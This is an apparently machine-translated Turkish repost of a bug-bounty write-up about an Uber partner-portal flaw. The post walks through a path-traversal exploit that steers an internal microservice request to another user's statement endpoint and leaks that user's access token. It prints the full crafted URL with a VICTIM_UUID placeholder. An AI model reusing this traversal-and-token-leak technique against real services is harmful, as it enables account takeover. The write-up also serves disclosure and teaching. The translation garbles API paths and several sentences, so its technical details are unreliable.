Bayrağı Almak İçin Eski Ama ALTIN ​​Nokta Nokta Kesme — Uber Microservice – Ron Chan


Uber, bir dizi mikro hizmet üzerine kurulmuştur; doğal olarak, mikro hizmetle etkileşimde bulunmak istiyorsanız, bunu yapmak için bazı REST api’lerini kullanmak isteyebilirsiniz. Diyelim ki sürücünün geçmiş seyahat geçmişini almak istiyorsunuz, şöyle görünen bir API çağırıyorsunuz:

https://localhost:1234/partner/PARTNER_UUID/trips?from=2018-01-01&to=2019-01-01

Açıkçası bunların hepsi arka uçta gerçekleştirilir, çünkü genellikle dahili mikro hizmetlerin IDOR saldırısını önlemek için herhangi bir izin kontrolü veya başka bir güvenlik önlemi yoktur. Tüm bu API çağrılarının önceden tanımlanmış yol/değişkenler/ana bilgisayar olup olmadığını yetkilendirme kontrolünü uygulamanın amacı nedir? Kullanıcılar zaten aramayı kontrol edemiyor, neden rahatsız oluyorsunuz?

Bu yalnızca kullanıcı API çağrısını gerçekten kontrol edemediğinde geçerlidir; 2018’in başlarında, partner.uber.com’da aylık sürücü beyanını almak için şunun gibi görünen ilginç bir uç nokta buldum.

https://partners.uber.com/p3/money/statements/view/current

Bu çağrının kendisinin yararlı hiçbir şeyi yok ama yanıt gerçekten ilgilenmemin nedeni

{
  "request": {
    "uri": {
      "protocol": "http:",
      "slashes": true,
      "auth": null,
      "host": "127.0.0.1:123",
      "port": "123",
      "hostname": "127.0.0.1",
      "hash": null,
      "search": "?earnings_structure_type=&locale=en&user_id=xxxxx",
      "query": "earnings_structure_type=&locale=en&user_id=xxxxx",
      "pathname": "/v1/partners/xxxxx/statements/current",
      "path": "/v1/partners/xxxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxx",
      "href": "http://127.0.0.1:123/v1/partners/xxxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxxxx"
    },
   "token":"ACCESS_TOKEN_OF_USER",
....

API çağrısının alındığı açıktır akım içinde https://partners.uber.com/p3/money/statements/view/currentve al akım ve sonuna ekleyin /v1/ortaklarımız/xxxxxx/ifadeler/Yanıtın önerdiği gibi. Ayrıca aramaya sorgu kısmı da eklenir. Tam dahili GET isteği şuna benzer:

http://127.0.0.1:123/v1/partners/xxxx/statements/current?earnings_structure_type=&locale=en&user_id=xxxx

Yanıttaki iki gözlem nedeniyle bu çok ilginç; ilki, uber kullanıcınızın erişim belirtecine sahip olması ve bunun neden ilginç olduğunu biliyoruz.

İkincisi, istekte x-auth-başlığı veya yetkilendirme üstbilgisi bulunmamasına rağmen yine de yanıt olarak kullanıcının erişim belirtecini döndürüyor! Bu, istek değişikliğini bir şekilde manipüle edebilirsek anlamına gelir my_user_uuid ile kurban_uuid talepte. Daha sonra yanıttan erişim belirtecini alarak kurbanın hesabını ele geçirebiliriz.

Aşağıdaki şeyleri yapmamı sağlayacak bir uç nokta bulmam gerekiyor

  • Herhangi bir parametreyi bu dahili GET isteğine iletin
  • Arkasındaki gereksiz sorgulardan kurtulmak için kodlanmış karakteri dahili GET isteğine iletin (%23yani # sorgu kısmını bozabilir)
  • Yanıtın tamamını görüntüle

Görünüşe göre çok benzer bir istek tüm bunları yapmama izin verdi

https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa

Response of the GET request

"href": "http://127.0.0.1:123/v1/statements/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa?earnings_structure_type=&locale=en&statement_uuid=4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa&user_id=your_user_id"

Sanırım ifade uuid 4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa hem yol hem de sorgu kısmı için dahili API GET isteğine iletilir. Bu isteği göndererek bunu doğruladım

https://partners.uber.com/p3/money/statements/view/4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa%2f..%2f4cb88fb1-d3fa-3a10-e3b5-ceef8ca71faa

Ve yanıt hala aynı, bu ../’nin yoldan kaçmak için yararlı olduğunu kanıtlıyor! Dolayısıyla bundan sonra ne yapmamız gerektiği açık. Kökten sonuna kadar kaçın, ardından yanıt olarak erişim belirtecini döndürecek olana benzer bir istek oluşturun ve gereksiz kısmı kullanarak iptal edin. #

Aramak istediğimiz hedef istek

http://127.0.0.1:123/v1/partners/victim_uuid/statements/current?earnings_structure_type=&locale=en&user_id=victim_uuid

Kontrolümüz altında olan talep

http://127.0.0.1:123/v1/statements/INJECTION_HERE?earnings_structure_type=&locale=en&statement_uuid=INJECTION_HERE&user_id=your_user_id

Ve bu aklıma gelen son çağrı

https://partners.uber.com/p3/money/statements/view/15327ef1-2acc-e468-e17a-576a7d12312%2f..%2f..%2f..%2Fv1%2Fpartners%2FVICTIM_UUID%2Fstatements%2Fcurrent%3Fearnings_structure_type%3D%26locale%3Den%26user_id%3DVICTIM_UUID%23

Yanıt tam beklendiği gibi

http://127.0.0.1:123/v1/statements/15327ef1-2acc-e468-e17a-576a7d12312/../../../v1/partners/VICTIM_UUID/statements/current?earnings_structure_type=&locale=en&user_id=VICTIM_UUID#......

Artık istekteki VICTIM_UUID değerini değiştirerek herhangi bir kullanıcının erişim belirtecini alabiliriz.



Source link